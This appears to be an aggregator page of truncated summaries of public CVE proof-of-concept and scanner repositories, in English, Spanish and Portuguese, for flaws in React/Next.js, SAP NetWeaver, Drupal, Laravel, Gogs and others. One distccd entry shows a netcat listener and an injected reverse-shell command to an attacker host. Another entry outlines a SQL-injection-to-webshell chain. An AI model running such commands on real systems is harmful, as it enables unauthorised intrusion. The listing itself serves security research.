CVE-2025-55182

CVE-2025-55182 Scanner A proof-of-concept scanner for CVE-2025-55182 , a critical unauthenticated Remote Code Execution RCE vulnerability in React Server Components RSC. Overview On December 3, 2025, a critical vulnerability was disclosed affecting React 19.x and Next.js applications using React...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check Safe and unsafe vulnerability/verify check: will only use 'unsafe check' if not verified with 'safe check' $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot Unsafe...

CVE-2024-38063

CVE-2024-38063 — Windows IPv6 Stack Vulnerability Analysis & PoC -red Technical analysis and Proof-of-Concept PoC for CVE-2024-38063 , a critical Remote Code Execution RCE vulnerability in the Windows IPv6 stack tcpip.sys. Discovered by KunLun Lab, this issue is zero-click , meaning it can be...

CVE-2025-55182-analysis

I. Vulnerability Overview In the past couple of days, there has been widespread discussion about a deserialization RCE vulnerability in React. The official CVSS score is a full 10.0, on par with Log4j. Rumors quickly spread claiming it is the "Log4j of modern frontend," causing panic among...

CVE-2025-61882-Oracle-BI-Publisher-RCE

Software afectado: Oracle BI Publisher versiones 12.2.1.4.0, 12.2.1.3.0. Tipo de vulnerabilidad: Ejecución remota de código mediante deserialización insegura en el componente de integración de BI Publisher. Descripción: El componente de integración de BI Publisher deserializa datos no confiables...

Burp_CVE-2025-31324

CVE-2025-31324 Burp Suite Extension Overview This Python-based Burp Suite extension is designed to detect the presence of CVE-2025-31324 , a critical vulnerability in SAP NetWeaver Visual Composer’s Metadata Uploader component. The vulnerability allows unauthenticated remote code execution via fi...

CVE-2025-8110-Gogs-Remote-Code-Execution

Software afectado: Gogs servicio Git auto‑alojado versiones anteriores a la 0.13.0. Tipo de vulnerabilidad: Inyección de comandos en el mecanismo de hooks de Git. Descripción: Un atacante con acceso de push a un repositorio puede crear un hook de Git malicioso que inyecta comandos en el script de...

CVE-2025-55182-React2Shell-Exploit

Next.js React2Shell CVE-2025-55182 Expl0it Una herramienta de prueba de concepto para demostrar la vulnerabilidad crítica React2Shell CVE-2025-55182 / CVE-2025-66478 únicamente en entornos de pruebas locales y autorizados. ⚠️ ADVERTENCIA CRÍTICA: EXPLOTACIÓN ACTIVA USO LEGAL ÚNICAMENTE : Utilícela...

CVE-2025-55182

CVE-2025-55182 - React2Shell React Server Components / Next.js Pre-Authentication Remote Code Execution...

CVE-2025-61505

CVE-2025-61505 – PHP Object Injection in e107 CMS 2.x Reported: September 18, 2025 CVE Assigned: October 9, 2025 Published: February 02, 2026 CVE ID: CVE-2025-61505 Discoverer: Anas Abderrahman Benbarek Summary A PHP Object Injection vulnerability CWE-502: Deserialization of Untrusted Data was...

CVE-2026-57517

Control Web Panel ≤ 0.9.8.1224 — Blind SQL Injection to Remote Code Execution Port 2083 → userRes POST → INTO DUMPFILE → Port 2031 Webshell → cwpsvc 🔴 Vulnerability Overview CVE-2026-57517 is a critical pre-authentication blind SQL injection in versions ≤ 0.9.8.1224. The POST parameter at the use...

CVE-2020-15778

CVE-2020-15778 Introducción Este repositorio reproduce CVE-2020-15778. Pasos 1. Construye las imágenes docker para el servidor scp y el cliente root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. Levanta el servidor scp en un contenedor...

CVE-2023-43177

CVE-2023-43177 CrushFTP = 10.5.1 Ejecución Remota de Código Este repositorio contiene el exploit de prueba de concepto PoC de RCE desarrollado durante la investigación...

CVE-2020-8254

CVE-2020-8254: Zip Slip in Pulse Secure VPN Windows Client A vulnerability in the Pulse Secure Desktop Client 9.1R9 has Remote Code Execution RCE if users can be convinced to connect to a malicious server. Vendor Disclosure: The vendor's disclosure and fix for this vulnerability can be found here...

CVE-2025-31324

Proof of Concept - CVE-2025-31324 [email protected] Proof of concept exploit for vulnerability CVE-2025-31324 in SAP NetWeaver Visual Composer , which allows arbitrary file upload without authentication via the /developmentserver/metadatauploader endpoint. ⚠️ This code is for educational...

CVE-2018-7600

POC de CVE-2018-7600 Drupal RCE CVE-2018-7600 ¡No olvides poner tu dirección en el script ! Descripción: Existe una vulnerabilidad de ejecución remota de código en múltiples subsistemas de Drupal 7.x y 8.x. Esto potencialmente permite a los atacantes explotar múltiples vectores de ataque en un...

CVE-2018-15133-PoC

CVE-2018-15133-PoC Este script Python implementa un exploit de ejecución remota de código RCE para aplicaciones Laravel vulnerables mediante deserialización insegura, basándose en la vulnerabilidad CVE-2018-15133. El exploit aprovecha una vulnerabilidad en Laravel versiones 5.5.40 y anteriores, y...

distccd_rce_CVE-2004-2687

The goal of this script NOT to use Metasploit and to do it manually. Usage: root@kitploit: nc -lvnp 4466 Running the exploit: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2025-55182-Scanner

CVE‑2025‑55182 – Next.js RSC Deserialization RCE Scanner This tool checks whether a target is vulnerable to CVE‑2025‑55182 , a Remote Code Execution bug caused by unsafe handling of RSC React Server Components model payloads inside Next.js. The vulnerability chains Prototype Pollution →...

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 Overview This repository documents the security concepts studied in the TryHackMe room regarding CVE-2025-55182 , a critical vulnerability affecting: React Server Components RSC Next.js and RSC-based frameworks Packages: react-server-dom-webpack react-server-dom-parce...